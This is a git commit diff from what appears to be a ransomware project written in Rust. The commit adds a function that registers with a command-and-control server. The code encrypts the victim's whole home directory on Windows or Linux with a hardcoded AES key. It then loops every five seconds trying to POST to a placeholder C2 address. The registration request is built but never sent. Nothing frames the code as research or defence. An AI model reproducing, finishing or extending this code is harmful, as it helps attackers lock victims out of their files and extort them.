feat: add client registration to C2 server
This commit is contained in:
parent
9a0a025550
commit
55c0831579
2 changed files with 24 additions and 5 deletions
|
@ -12,13 +12,15 @@ use std::fs::File;
|
|||
use std::fs;
|
||||
use std::io::{Read, Write};
|
||||
use std::error::Error;
|
||||
use std::str;
|
||||
use std::str::{self, FromStr};
|
||||
use reqwest::blocking::Request;
|
||||
|
||||
|
||||
type Aes256Cbc = Cbc<Aes256, Pkcs7>;
|
||||
|
||||
const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder";
|
||||
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytes
|
||||
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
|
||||
const C2ADDR: &str = "c2serveraddr";
|
||||
|
||||
|
||||
fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
|
||||
|
@ -96,4 +98,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
|
|||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
pub fn register() -> Result<(), Box<dyn Error>> {
|
||||
let c2_register_url = format!("http://{C2ADDR}/client/register");
|
||||
let _register_reqwest = Request::new(reqwest::Method::POST, reqwest::Url::from_str(&c2_register_url)?);
|
||||
Ok(())
|
||||
}
|
||||
|
|
|
@ -1,6 +1,9 @@
|
|||
mod crypto;
|
||||
use crypto::encrypt_directory;
|
||||
use crypto::register;
|
||||
use std::env;
|
||||
use std::thread::sleep;
|
||||
use std::time::Duration;
|
||||
|
||||
fn main() {
|
||||
#[cfg(target_os = "windows")]
|
||||
|
@ -8,6 +11,16 @@ fn main() {
|
|||
#[cfg(target_os = "linux")]
|
||||
let home: String = env::var("HOME").unwrap();
|
||||
encrypt_directory(&home).unwrap(); // I know this many unwraps look
|
||||
// suspicious, but the chance of this
|
||||
// failing is less than a solar flare.
|
||||
// suspicious, but the chance of this
|
||||
// failing is less than a solar flare.
|
||||
|
||||
loop {
|
||||
let registration_attempt = register();
|
||||
if registration_attempt.is_ok() {
|
||||
break;
|
||||
} else {
|
||||
sleep(Duration::from_secs(5));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue